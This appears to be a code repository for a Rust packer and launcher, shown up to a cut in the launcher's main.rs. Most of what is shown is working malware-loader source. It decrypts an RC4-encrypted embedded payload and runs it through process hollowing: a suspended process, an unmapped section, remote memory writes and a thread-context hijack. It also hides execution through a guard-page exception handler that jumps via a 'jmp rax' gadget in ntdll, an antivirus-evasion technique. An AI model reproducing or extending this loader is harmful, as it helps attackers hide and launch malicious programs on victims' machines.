├── LICENSE ├── Launcher ├── Cargo.lock ├── Cargo.toml └── src │ └── main.rs ├── Packer-working.png ├── Packit ├── Cargo.lock ├── Cargo.toml └── src │ └── main.rs ├── README.md └── image.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Azr43lKn1ght 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Launcher/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "Launcher" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /Launcher/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | author = "Azr43lKn1ght" 3 | name = "Launcher" 4 | version = "0.1.0" 5 | edition = "2021" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | kernel32-sys = "0.2.2" 11 | winapi = {version = "0.3.8", features=[ 12 | "winnt", 13 | "winuser", 14 | "memoryapi", 15 | "errhandlingapi", 16 | "processthreadsapi", 17 | "synchapi", 18 | "winnt", 19 | "minwindef", 20 | "winbase", 21 | "handleapi", 22 | "libloaderapi", 23 | "wow64apiset", 24 | "errhandlingapi" 25 | ]} 26 | sysinfo = "0.32.0" 27 | ntapi = "0.4.1" 28 | windows = { version = "0.58.0", features = ["Win32_Storage_FileSystem","Win32_Foundation", "Win32_System_Diagnostics", "Win32_System_Diagnostics_Debug", "Win32_System_Threading", "Win32_System_Kernel","Win32_System_SystemInformation", "Win32_Foundation", "Win32_System_Registry","Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_Security", "Win32_System_LibraryLoader", "Win32_System_Diagnostics_Debug"] } -------------------------------------------------------------------------------- /Launcher/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use std::ffi::CString; 3 | use std::fs::{self, File}; 4 | use std::io::{self, Read}; 5 | use std::process; 6 | use std::mem; 7 | use std::ptr; 8 | use winapi::shared::minwindef::HGLOBAL; 9 | use winapi::um::libloaderapi::{GetModuleHandleA, FindResourceW, LoadResource, LockResource, SizeofResource}; 10 | use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE}; 11 | use windows::Win32::System::Threading::{ 12 | CreateProcessA, PROCESS_INFORMATION, STARTUPINFOA, 13 | CREATE_SUSPENDED, 14 | }; 15 | use winapi::um::winnt::PAGE_READWRITE; 16 | use winapi::um::processthreadsapi::GetExitCodeProcess; 17 | use winapi::um::minwinbase::STILL_ACTIVE; 18 | use winapi::shared::minwindef::{BOOL, DWORD, FARPROC, HMODULE, LPVOID, PBYTE, PULONG, ULONG}; 19 | use winapi::shared::ntdef::{HANDLE, LARGE_INTEGER, NTSTATUS, PVOID}; 20 | use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA}; 21 | use winapi::um::memoryapi::{ReadProcessMemory, VirtualAlloc, VirtualFree, VirtualAllocEx, WriteProcessMemory}; 22 | use winapi::um::winnt::{ 23 | HANDLE as WINNT_HANDLE, MEM_RELEASE, PAGE_EXECUTE_READWRITE, 24 | }; 25 | use winapi::shared::basetsd::SIZE_T; 26 | use winapi::um::winnt::WOW64_FLOATING_SAVE_AREA; 27 | use winapi::um::winnt::PAGE_EXECUTE_READ; 28 | use winapi::um::errhandlingapi::GetLastError; 29 | use winapi::um::memoryapi::VirtualQueryEx; 30 | use winapi::um::winnt::{MEMORY_BASIC_INFORMATION}; 31 | use winapi::um::processthreadsapi::{GetThreadContext, SetThreadContext, ResumeThread,TerminateProcess}; 32 | use winapi::um::winnt::CONTEXT; 33 | use winapi::um::winnt::CONTEXT_INTEGER; 34 | use winapi::um::winnt::BOOLEAN; 35 | use winapi::um::handleapi::CloseHandle; 36 | use winapi::um::winnt::CONTEXT_FULL; 37 | use winapi::um::winbase::Wow64GetThreadContext; 38 | use winapi::um::winnt::WOW64_CONTEXT; 39 | use winapi::um::winbase::Wow64SetThreadContext; 40 | use winapi::um::memoryapi::VirtualProtectEx; 41 | use winapi::um::winnt::CONTEXT_SEGMENTS; 42 | use winapi::um::synchapi::WaitForSingleObject; 43 | use winapi::um::errhandlingapi::AddVectoredExceptionHandler; 44 | use winapi::um::errhandlingapi::RemoveVectoredExceptionHandler; 45 | use winapi::shared::ntdef::LONG; 46 | use winapi::um::memoryapi::VirtualProtect; 47 | use winapi::um::winnt::PAGE_GUARD; 48 | use winapi::um::winnt::PEXCEPTION_POINTERS; 49 | use winapi::vc::excpt::EXCEPTION_CONTINUE_EXECUTION; 50 | use winapi::vc::excpt::EXCEPTION_CONTINUE_SEARCH; 51 | use std::{ 52 | arch::asm, ffi::c_void, mem::transmute, panic, ptr::{null, null_mut} 53 | }; 54 | use std::process::exit; 55 | use windows::Win32::System:: 56 | SystemInformation::{ 57 | GetSystemInfo, GlobalMemoryStatusEx, MEMORYSTATUSEX, SYSTEM_INFO 58 | }; 59 | use windows:: 60 | Win32::System::{ 61 | Diagnostics::Debug::{IsDebuggerPresent, CONTEXT_DEBUG_REGISTERS_AMD64}, 62 | Memory::PAGE_PROTECTION_FLAGS, 63 | Threading::{ 64 | CreateRemoteThread, OpenProcess, INFINITE, PROCESS_ALL_ACCESS,GetCurrentThread, TEB 65 | }, 66 | Kernel::NT_TIB, 67 | }; 68 | use windows::core::s; 69 | use sysinfo::System; 70 | use winapi::um::winnt::LPCSTR; 71 | const BUFFER_SIZE: usize = 4096; 72 | 73 | type FnCheckGadget = unsafe extern "system" fn(PVOID) -> BOOL; 74 | 75 | unsafe fn find_gadget(p_module: PVOID, callback_check: FnCheckGadget) -> PVOID { 76 | let mut i = 0; 77 | loop { 78 | let addr = (p_module as usize + i) as PVOID; 79 | if callback_check(addr) != 0 { 80 | return addr; 81 | } 82 | i += 1; 83 | } 84 | } 85 | 86 | unsafe extern "system" fn fn_gadget_jmp_rax(p_addr: PVOID) -> BOOL { 87 | let addr = p_addr as *const u8; 88 | if *addr == 0xFF && *addr.offset(1) == 0xE0 { 89 | 1 90 | } else { 91 | 0 92 | } 93 | } 94 | 95 | unsafe extern "system" fn vectored_exception_handler(exception_info: PEXCEPTION_POINTERS) -> LONG { 96 | if (*(*exception_info).ExceptionRecord).ExceptionCode == 0x80000001 { 97 | 98 | let custom_function_addr = fn_unpack as u64; 99 | 100 | (*(*exception_info).ContextRecord).Rax = custom_function_addr; 101 | 102 | let p_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as LPCSTR); 103 | let p_jmp_rax_gadget = find_gadget(p_ntdll as PVOID, fn_gadget_jmp_rax); 104 | (*(*exception_info).ContextRecord).Rip = p_jmp_rax_gadget as u64; 105 | 106 | EXCEPTION_CONTINUE_EXECUTION 107 | } else { 108 | EXCEPTION_CONTINUE_SEARCH 109 | } 110 | } 111 | 112 | fn trigger_execution() { 113 | let sleep_addr = winapi::um::synchapi::Sleep as PVOID; 114 | 115 | let handler = unsafe { AddVectoredExceptionHandler(1, Some(vectored_exception_handler)) }; 116 | if handler.is_null() { 117 | eprintln!("Failed to install Vectored Exception Handler"); 118 | return; 119 | } 120 | 121 | let mut old_protection = 0; 122 | unsafe { 123 | VirtualProtect(sleep_addr, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &mut old_protection); 124 | winapi::um::synchapi::Sleep(0); 125 | } 126 | 127 | unsafe { RemoveVectoredExceptionHandler(handler) }; 128 | } 129 | 130 | #[repr(C)] 131 | struct THREAD_BASIC_INFORMATION { 132 | ExitStatus: i32, 133 | TebBaseAddress: PVOID, 134 | ClientId: CLIENT_ID, 135 | AffinityMask: usize, 136 | Priority: i32, 137 | BasePriority: i32, 138 | } 139 | 140 | #[repr(C)] 141 | struct CLIENT_ID { 142 | UniqueProcess: HANDLE, 143 | UniqueThread: HANDLE, 144 | } 145 | 146 | extern "system" { 147 | fn NtQueryInformationThread( 148 | ThreadHandle: HANDLE, 149 | ThreadInformationClass: u32, 150 | ThreadInformation: PVOID, 151 | ThreadInformationLength: u32, 152 | ReturnLength: *mut u32 153 | ) -> i32; 154 | } 155 | 156 | type NtUnmapViewOfSection = unsafe extern "system" fn( 157 | process_handle: HANDLE, 158 | base_address: PVOID, 159 | ) -> NTSTATUS; 160 | 161 | #[repr(C)] 162 | struct PebLdrData { 163 | Length: ULONG, 164 | Initialized: BOOLEAN, 165 | SsHandle: PVOID, 166 | InLoadOrderModuleList: PVOID, 167 | InMemoryOrderModuleList: PVOID, 168 | InInitializationOrderModuleList: PVOID, 169 | } 170 | 171 | #[repr(C)] 172 | struct ProcessAddressInformation { 173 | peb_address: PVOID, 174 | image_base_address: PVOID, 175 | } 176 | 177 | const IMAGE_NT_OPTIONAL_HDR64_MAGIC: u16 = 0x20B; 178 | const IMAGE_DIRECTORY_ENTRY_BASERELOC: usize = 5; 179 | 180 | fn get_pe_magic(buffer: *const u8) -> io::Result { 181 | unsafe { 182 | let dos_header = buffer as *const ImageDosHeader; 183 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) as *const ImageNtHeaders64; 184 | println!("dos_header: {:p}", dos_header); 185 | println!("nt_headers: {:p}", nt_headers); 186 | println!("buffer: {:p}", buffer); 187 | Ok((*nt_headers).optional_header.magic) 188 | } 189 | } 190 | 191 | fn read_remote_pe_magic(process_handle: HANDLE, base_address: PVOID) -> io::Result { 192 | let mut buffer = vec![0u8; BUFFER_SIZE]; 193 | 194 | let success = unsafe { 195 | ReadProcessMemory( 196 | process_handle, 197 | base_address, 198 | buffer.as_mut_ptr() as PVOID, 199 | BUFFER_SIZE, 200 | ptr::null_mut(), 201 | ) 202 | }; 203 | 204 | if success == 0 { 205 | return Err(io::Error::last_os_error()); 206 | } 207 | 208 | get_pe_magic(buffer.as_ptr()) 209 | } 210 | 211 | #[repr(C)] 212 | pub struct CUST_WOW64_CONTEXT { 213 | pub context_flags: u32, 214 | pub dr0: u32, 215 | pub dr1: u32, 216 | pub dr2: u32, 217 | pub dr3: u32, 218 | pub dr6: u32, 219 | pub dr7: u32, 220 | pub float_save: CUST_WOW64_FLOATING_SAVE_AREA, 221 | pub seg_gs: u32, 222 | pub seg_fs: u32, 223 | pub seg_es: u32, 224 | pub seg_ds: u32, 225 | pub edi: u32, 226 | pub esi: u32, 227 | pub ebx: u32, 228 | pub edx: u32, 229 | pub ecx: u32, 230 | pub eax: u32, 231 | pub ebp: u32, 232 | pub eip: u32, 233 | pub seg_cs: u32, 234 | pub eflags: u32, 235 | pub esp: u32, 236 | pub seg_ss: u32, 237 | pub extended_registers: [u8; CUST_WOW64_MAXIMUM_SUPPORTED_EXTENSION], 238 | } 239 | 240 | impl Default for CUST_WOW64_CONTEXT { 241 | fn default() -> Self { 242 | Self { 243 | context_flags: 0, 244 | dr0: 0, 245 | dr1: 0, 246 | dr2: 0, 247 | dr3: 0, 248 | dr6: 0, 249 | dr7: 0, 250 | float_save: CUST_WOW64_FLOATING_SAVE_AREA::default(), 251 | seg_gs: 0, 252 | seg_fs: 0, 253 | seg_es: 0, 254 | seg_ds: 0, 255 | edi: 0, 256 | esi: 0, 257 | ebx: 0, 258 | edx: 0, 259 | ecx: 0, 260 | eax: 0, 261 | ebp: 0, 262 | eip: 0, 263 | seg_cs: 0, 264 | eflags: 0, 265 | esp: 0, 266 | seg_ss: 0, 267 | extended_registers: [0; CUST_WOW64_MAXIMUM_SUPPORTED_EXTENSION], 268 | } 269 | } 270 | } 271 | 272 | #[repr(C)] 273 | pub struct CUST_WOW64_FLOATING_SAVE_AREA { 274 | pub control_word: u32, 275 | pub status_word: u32, 276 | pub tag_word: u32, 277 | pub error_offset: u32, 278 | pub error_selector: u32, 279 | pub data_offset: u32, 280 | pub data_selector: u32, 281 | pub register_area: [u8; CUST_WOW64_SIZE_OF_80387_REGISTERS], 282 | pub cr0_npx_state: u32, 283 | } 284 | 285 | impl Default for CUST_WOW64_FLOATING_SAVE_AREA { 286 | fn default() -> Self { 287 | Self { 288 | control_word: 0, 289 | status_word: 0, 290 | tag_word: 0, 291 | error_offset: 0, 292 | error_selector: 0, 293 | data_offset: 0, 294 | data_selector: 0, 295 | register_area: [0; CUST_WOW64_SIZE_OF_80387_REGISTERS], 296 | cr0_npx_state: 0, 297 | } 298 | } 299 | } 300 | 301 | // pub type PWOW64_CONTEXT = *mut WOW64_CONTEXT; 302 | 303 | pub const CUST_CONTEXT_AMD64: u32 = 0x00100000; 304 | pub const CUST_CONTEXT_CONTROL: u32 = CUST_CONTEXT_AMD64 | 0x00000001; 305 | pub const CUST_CONTEXT_INTEGER: u32 = CUST_CONTEXT_AMD64 | 0x00000002; 306 | pub const CUST_CONTEXT_FLOATING_POINT: u32 = CUST_CONTEXT_AMD64 | 0x00000008; 307 | pub const CUST_CONTEXT_DEBUG_REGISTERS: u32 = CUST_CONTEXT_AMD64 | 0x00000010; 308 | pub const CUST_CONTEXT_SEGMENTS: u32 = CUST_CONTEXT_AMD64 | 0x0000004; 309 | 310 | pub const CUST_CONTEXT_FULL: u32 = CUST_CONTEXT_CONTROL | CUST_CONTEXT_INTEGER | CUST_CONTEXT_FLOATING_POINT; 311 | 312 | pub const CONTEXT_ALL: u32 = CUST_CONTEXT_CONTROL | CUST_CONTEXT_INTEGER | CUST_CONTEXT_SEGMENTS | 313 | CUST_CONTEXT_FLOATING_POINT | CUST_CONTEXT_DEBUG_REGISTERS; 314 | 315 | pub const CUST_WOW64_SIZE_OF_80387_REGISTERS: usize = 80; 316 | pub const CUST_WOW64_MAXIMUM_SUPPORTED_EXTENSION: usize = 512; 317 | 318 | 319 | // pub type PWOW64_FLOATING_SAVE_AREA = *mut WOW64_FLOATING_SAVE_AREA; 320 | 321 | #[repr(C)] 322 | struct RtlUserProcessParameters { 323 | MaximumLength: ULONG, 324 | Length: ULONG, 325 | Flags: ULONG, 326 | DebugFlags: ULONG, 327 | ConsoleHandle: PVOID, 328 | ConsoleFlags: ULONG, 329 | StandardInput: PVOID, 330 | StandardOutput: PVOID, 331 | StandardError: PVOID, 332 | CurrentDirectory: PVOID, 333 | CurrentDirectoryHandle: PVOID, 334 | DllPath: PVOID, 335 | ImagePathName: PVOID, 336 | CommandLine: PVOID, 337 | Environment: PVOID, 338 | StartingX: ULONG, 339 | StartingY: ULONG, 340 | Width: ULONG, 341 | Height: ULONG, 342 | CharWidth: ULONG, 343 | CharHeight: ULONG, 344 | ConsoleTextAttributes: ULONG, 345 | WindowFlags: ULONG, 346 | ShowWindowFlags: ULONG, 347 | WindowTitle: PVOID, 348 | DesktopName: PVOID, 349 | ShellInfo: PVOID, 350 | RuntimeData: PVOID, 351 | CurrentDirectories: [PVOID; 32], 352 | } 353 | 354 | #[repr(C)] 355 | struct ImageOptionalHeader32 { 356 | magic: u16, 357 | major_linker_version: u8, 358 | minor_linker_version: u8, 359 | size_of_code: u32, 360 | size_of_initialized_data: u32, 361 | size_of_uninitialized_data: u32, 362 | address_of_entry_point: u32, 363 | base_of_code: u32, 364 | base_of_data: u32, 365 | image_base: u32, 366 | section_alignment: u32, 367 | file_alignment: u32, 368 | major_operating_system_version: u16, 369 | minor_operating_system_version: u16, 370 | major_image_version: u16, 371 | minor_image_version: u16, 372 | major_subsystem_version: u16, 373 | minor_subsystem_version: u16, 374 | win32_version_value: u32, 375 | size_of_image: u32, 376 | size_of_headers: u32, 377 | check_sum: u32, 378 | subsystem: u16, 379 | dll_characteristics: u16, 380 | size_of_stack_reserve: u32, 381 | size_of_stack_commit: u32, 382 | size_of_heap_reserve: u32, 383 | size_of_heap_commit: u32, 384 | loader_flags: u32, 385 | number_of_rva_and_sizes: u32, 386 | data_directory: [ImageDataDirectory; 16], 387 | } 388 | 389 | #[macro_export] 390 | macro_rules! MAKEINTRESOURCE { 391 | ($i:expr) => { $i as u16 as usize as LPWSTR } 392 | } 393 | 394 | struct Rc4 { 395 | s: [u8; 256], 396 | i: usize, 397 | j: usize, 398 | } 399 | 400 | impl Rc4 { 401 | fn new(key: &[u8]) -> Rc4 { 402 | let mut s = [0u8; 256]; 403 | for i in 0..256 { 404 | s[i] = i as u8; 405 | } 406 | 407 | let mut j = 0; 408 | for i in 0..256 { 409 | j = (j + s[i] as usize + key[i % key.len()] as usize) % 256; 410 | s.swap(i, j); 411 | } 412 | Rc4 { s, i: 0, j: 0 } 413 | } 414 | 415 | fn apply_keystream(&mut self, data: &mut [u8]) { 416 | for byte in data.iter_mut() { 417 | self.i = (self.i + 1) % 256; 418 | self.j = (self.j + self.s[self.i] as usize) % 256; 419 | self.s.swap(self.i, self.j); 420 | let t = (self.s[self.i] as usize + self.s[self.j] as usize) % 256; 421 | *byte ^= self.s[t]; 422 | } 423 | } 424 | } 425 | 426 | fn wide_string(s: &str) -> Vec { 427 | s.encode_utf16().chain(std::iter::once(0)).collect() 428 | } 429 | 430 | #[repr(C)] 431 | struct ImageNtHeaders32 { 432 | signature: u32, 433 | file_header: ImageFileHeader, 434 | optional_header: ImageOptionalHeader32, 435 | } 436 | 437 | #[repr(C)] 438 | struct PebLockRoutine { 439 | PebLockRoutine: PVOID, 440 | } 441 | 442 | #[repr(C)] 443 | struct PebFreeBlock { 444 | _PEB_FREE_BLOCK: [u8; 8], 445 | Size: ULONG, 446 | } 447 | 448 | #[repr(C)] 449 | #[derive(Debug)] 450 | struct ProcessBasicInformation { 451 | reserved1: PVOID, 452 | peb_base_address: PVOID, 453 | reserved2: [PVOID; 2], 454 | unique_process_id: ULONG, 455 | reserved3: PVOID, 456 | } 457 | 458 | #[repr(C)] 459 | struct PEB { 460 | inherited_address_space: BOOLEAN, 461 | read_image_file_exec_options: BOOLEAN, 462 | being_debugged: BOOLEAN, 463 | spare: BOOLEAN, 464 | mutant: HANDLE, 465 | image_base_address: PVOID, 466 | loader_data: *mut PebLdrData, 467 | process_parameters: *mut RtlUserProcessParameters, 468 | subsystem_data: PVOID, 469 | process_heap: PVOID, 470 | fast_peb_lock: PVOID, 471 | fast_peb_lock_routine: *mut PebLockRoutine, 472 | fast_peb_unlock_routine: *mut PebLockRoutine, 473 | environment_update_count: ULONG, 474 | kernel_callback_table: *mut PVOID, 475 | event_log_section: PVOID, 476 | event_log: PVOID, 477 | free_list: *mut PebFreeBlock, 478 | tls_expansion_counter: ULONG, 479 | tls_bitmap: PVOID, 480 | tls_bitmap_bits: [ULONG; 2], 481 | read_only_shared_memory_base: PVOID, 482 | read_only_shared_memory_heap: PVOID, 483 | read_only_static_server_data: *mut *mut PVOID, 484 | ansi_code_page_data: PVOID, 485 | oem_code_page_data: PVOID, 486 | unicode_case_table_data: PVOID, 487 | number_of_processors: ULONG, 488 | nt_global_flag: ULONG, 489 | spare2: [u8; 4], 490 | critical_section_timeout: LARGE_INTEGER, 491 | heap_segment_reserve: ULONG, 492 | heap_segment_commit: ULONG, 493 | heap_decommit_total_free_threshold: ULONG, 494 | heap_decommit_free_block_threshold: ULONG, 495 | number_of_heaps: ULONG, 496 | maximum_number_of_heaps: ULONG, 497 | process_heaps: *mut *mut PVOID, 498 | gdi_shared_handle_table: PVOID, 499 | process_starter_helper: PVOID, 500 | gdi_dc_attribute_list: PVOID, 501 | loader_lock: PVOID, 502 | os_major_version: ULONG, 503 | os_minor_version: ULONG, 504 | os_build_number: ULONG, 505 | os_platform_id: ULONG, 506 | image_subsystem: ULONG, 507 | image_subsystem_major_version: ULONG, 508 | image_subsystem_minor_version: ULONG, 509 | gdi_handle_buffer: [ULONG; 0x22], 510 | post_process_init_routine: ULONG, 511 | tls_expansion_bitmap: ULONG, 512 | tls_expansion_bitmap_bits: [u8; 0x80], 513 | session_id: ULONG, 514 | } 515 | 516 | #[repr(C)] 517 | struct ImageDosHeader { 518 | e_magic: u16, 519 | e_cblp: u16, 520 | e_cp: u16, 521 | e_crlc: u16, 522 | e_cparhdr: u16, 523 | e_minalloc: u16, 524 | e_maxalloc: u16, 525 | e_ss: u16, 526 | e_sp: u16, 527 | e_csum: u16, 528 | e_ip: u16, 529 | e_cs: u16, 530 | e_lfarlc: u16, 531 | e_ovno: u16, 532 | e_res: [u16; 4], 533 | e_oemid: u16, 534 | e_oeminfo: u16, 535 | e_res2: [u16; 10], 536 | e_lfanew: i32, 537 | } 538 | 539 | #[repr(C)] 540 | struct ImageFileHeader { 541 | machine: u16, 542 | number_of_sections: u16, 543 | time_date_stamp: u32, 544 | pointer_to_symbol_table: u32, 545 | number_of_symbols: u32, 546 | size_of_optional_header: u16, 547 | characteristics: u16, 548 | } 549 | 550 | #[repr(C)] 551 | struct ImageOptionalHeader64 { 552 | magic: u16, 553 | major_linker_version: u8, 554 | minor_linker_version: u8, 555 | size_of_code: u32, 556 | size_of_initialized_data: u32, 557 | size_of_uninitialized_data: u32, 558 | address_of_entry_point: u32, 559 | base_of_code: u32, 560 | image_base: u64, 561 | section_alignment: u32, 562 | file_alignment: u32, 563 | major_operating_system_version: u16, 564 | minor_operating_system_version: u16, 565 | major_image_version: u16, 566 | minor_image_version: u16, 567 | major_subsystem_version: u16, 568 | minor_subsystem_version: u16, 569 | win32_version_value: u32, 570 | size_of_image: u32, 571 | size_of_headers: u32, 572 | check_sum: u32, 573 | subsystem: u16, 574 | dll_characteristics: u16, 575 | size_of_stack_reserve: u64, 576 | size_of_stack_commit: u64, 577 | size_of_heap_reserve: u64, 578 | size_of_heap_commit: u64, 579 | loader_flags: u32, 580 | number_of_rva_and_sizes: u32, 581 | data_directory: [ImageDataDirectory; 16], 582 | } 583 | 584 | #[repr(C)] 585 | struct ImageNtHeaders64 { 586 | signature: u32, 587 | file_header: ImageFileHeader, 588 | optional_header: ImageOptionalHeader64, 589 | } 590 | 591 | #[repr(C)] 592 | struct ImageSectionHeader { 593 | name: [u8; 8], 594 | virtual_size: u32, 595 | virtual_address: u32, 596 | size_of_raw_data: u32, 597 | pointer_to_raw_data: u32, 598 | pointer_to_relocations: u32, 599 | pointer_to_linenumbers: u32, 600 | number_of_relocations: u16, 601 | number_of_linenumbers: u16, 602 | characteristics: u32, 603 | } 604 | 605 | 606 | #[repr(C)] 607 | struct LoadedImage { 608 | file_header: *mut ImageNtHeaders64, 609 | number_of_sections: u16, 610 | sections: *mut ImageSectionHeader, 611 | } 612 | 613 | #[repr(C)] 614 | struct BaseRelocationBlock { 615 | page_address: u32, 616 | block_size: u32, 617 | } 618 | 619 | #[repr(C)] 620 | struct BaseRelocationEntry { 621 | data: u16 // Will use bit operations to access offset (12 bits) and type (4 bits) 622 | } 623 | 624 | impl BaseRelocationEntry { 625 | fn offset(&self) -> u16 { 626 | self.data & 0x0FFF // Get lower 12 bits 627 | } 628 | 629 | fn type_(&self) -> u16 { 630 | (self.data >> 12) & 0xF // Get upper 4 bits 631 | } 632 | } 633 | 634 | 635 | #[repr(C)] 636 | #[derive(Debug, Copy, Clone)] 637 | struct ImageDataDirectory { 638 | virtual_address: u32, 639 | size: u32, 640 | } 641 | 642 | 643 | type NtQueryInformationProcess = unsafe extern "system" fn( 644 | process_handle: HANDLE, 645 | process_information_class: DWORD, 646 | process_information: PVOID, 647 | process_information_length: ULONG, 648 | return_length: *mut ULONG, 649 | ) -> NTSTATUS; 650 | 651 | fn initialize_nt_query_information_process() -> Option { 652 | unsafe { 653 | let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr() as *const i8); 654 | if ntdll.is_null() { 655 | return None; 656 | } 657 | 658 | let proc_addr = GetProcAddress(ntdll, b"NtQueryInformationProcess\0".as_ptr() as *const i8); 659 | if proc_addr.is_null() { 660 | return None; 661 | } 662 | 663 | Some(std::mem::transmute(proc_addr)) 664 | } 665 | } 666 | 667 | fn find_remote_peb(process_handle: HANDLE) -> PVOID { 668 | let nt_query = match initialize_nt_query_information_process() { 669 | Some(func) => func, 670 | None => return ptr::null_mut(), 671 | }; 672 | 673 | let mut basic_info = ProcessBasicInformation { 674 | reserved1: ptr::null_mut(), 675 | peb_base_address: ptr::null_mut(), 676 | reserved2: [ptr::null_mut(); 2], 677 | unique_process_id: 0, 678 | reserved3: ptr::null_mut(), 679 | }; 680 | let mut return_length = 0; 681 | 682 | unsafe { 683 | let status = nt_query( 684 | process_handle, 685 | 0, 686 | &mut basic_info as *mut _ as PVOID, 687 | mem::size_of::() as ULONG, 688 | &mut return_length, 689 | ); 690 | 691 | if status >= 0 { 692 | basic_info.peb_base_address 693 | } else { 694 | ptr::null_mut() 695 | } 696 | } 697 | } 698 | 699 | fn read_remote_peb(process_handle: HANDLE) -> Option> { 700 | let peb_address = find_remote_peb(process_handle); 701 | if peb_address.is_null() { 702 | return None; 703 | } 704 | 705 | let mut peb = Box::new(unsafe { mem::zeroed::() }); 706 | let success = unsafe { 707 | ReadProcessMemory( 708 | process_handle, 709 | peb_address, 710 | &mut *peb as *mut PEB as PVOID, 711 | mem::size_of::(), 712 | ptr::null_mut(), 713 | ) 714 | }; 715 | 716 | if success == 0 { 717 | None 718 | } else { 719 | Some(peb) 720 | } 721 | } 722 | 723 | fn read_remote_image(process_handle: HANDLE, image_base_address: PVOID) -> Option> { 724 | let mut buffer = vec![0u8; BUFFER_SIZE]; 725 | 726 | let success = unsafe { 727 | ReadProcessMemory( 728 | process_handle, 729 | image_base_address, 730 | buffer.as_mut_ptr() as PVOID, 731 | BUFFER_SIZE, 732 | ptr::null_mut(), 733 | ) 734 | }; 735 | 736 | if success == 0 { 737 | return None; 738 | } 739 | 740 | unsafe { 741 | let dos_header = buffer.as_ptr() as *const ImageDosHeader; 742 | let nt_headers = (buffer.as_ptr() as usize + (*dos_header).e_lfanew as usize) 743 | as *mut ImageNtHeaders64; 744 | 745 | let image = Box::new(LoadedImage { 746 | file_header: nt_headers, 747 | number_of_sections: (*nt_headers).file_header.number_of_sections, 748 | sections: (buffer.as_ptr() as usize + (*dos_header).e_lfanew as usize + 749 | mem::size_of::()) as *mut ImageSectionHeader, 750 | }); 751 | 752 | Some(image) 753 | } 754 | } 755 | 756 | fn read_remote_image32(process_handle: HANDLE, image_base_address: PVOID) -> Option> { 757 | // Read DOS header first 758 | let mut dos_header: ImageDosHeader = unsafe { mem::zeroed() }; 759 | let success = unsafe { 760 | ReadProcessMemory( 761 | process_handle, 762 | image_base_address, 763 | &mut dos_header as *mut _ as PVOID, 764 | mem::size_of::(), 765 | ptr::null_mut(), 766 | ) 767 | }; 768 | 769 | if success == 0 { 770 | return None; 771 | } 772 | 773 | // Read NT Headers 774 | let mut nt_headers32: ImageNtHeaders32 = unsafe { mem::zeroed() }; 775 | let success = unsafe { 776 | ReadProcessMemory( 777 | process_handle, 778 | (image_base_address as usize + dos_header.e_lfanew as usize) as PVOID, 779 | &mut nt_headers32 as *mut _ as PVOID, 780 | mem::size_of::(), 781 | ptr::null_mut(), 782 | ) 783 | }; 784 | 785 | if success == 0 { 786 | return None; 787 | } 788 | 789 | Some(Box::new(LoadedImage { 790 | file_header: &nt_headers32 as *const _ as *mut ImageNtHeaders64, 791 | number_of_sections: nt_headers32.file_header.number_of_sections, 792 | sections: ((image_base_address as usize + dos_header.e_lfanew as usize + 793 | mem::size_of::()) as *mut ImageSectionHeader), 794 | })) 795 | } 796 | 797 | fn get_process_address_information32(process_info: &winapi::um::processthreadsapi::PROCESS_INFORMATION) 798 | -> Option { 799 | unsafe { 800 | let mut ctx: WOW64_CONTEXT = std::mem::zeroed(); 801 | ctx.ContextFlags = CONTEXT_FULL; 802 | 803 | if Wow64GetThreadContext(process_info.hThread, &mut ctx) == 0 { 804 | return None; 805 | } 806 | 807 | let mut image_base: PVOID = ptr::null_mut(); 808 | if ReadProcessMemory( 809 | process_info.hProcess, 810 | (ctx.Ebx + 0x8) as PVOID, 811 | &mut image_base as *mut PVOID as PVOID, 812 | std::mem::size_of::(), 813 | ptr::null_mut() 814 | ) == 0 { 815 | return None; 816 | } 817 | 818 | Some(ProcessAddressInformation { 819 | peb_address: ctx.Ebx as PVOID, 820 | image_base_address: image_base, 821 | }) 822 | } 823 | } 824 | 825 | 826 | fn get_nt_headers(image_base: PVOID) -> *mut ImageNtHeaders64 { 827 | unsafe { 828 | let dos_header = image_base as *const ImageDosHeader; 829 | (image_base as usize + (*dos_header).e_lfanew as usize) as *mut ImageNtHeaders64 830 | } 831 | } 832 | 833 | fn get_loaded_image(image_base: PVOID) -> Box { 834 | unsafe { 835 | let dos_header = image_base as *const ImageDosHeader; 836 | let nt_headers = get_nt_headers(image_base); 837 | 838 | Box::new(LoadedImage { 839 | file_header: nt_headers, 840 | number_of_sections: (*nt_headers).file_header.number_of_sections, 841 | sections: (image_base as usize + (*dos_header).e_lfanew as usize + 842 | mem::size_of::()) as *mut ImageSectionHeader, 843 | }) 844 | } 845 | } 846 | 847 | fn get_nt_unmap_view_of_section() -> Option { 848 | unsafe { 849 | let 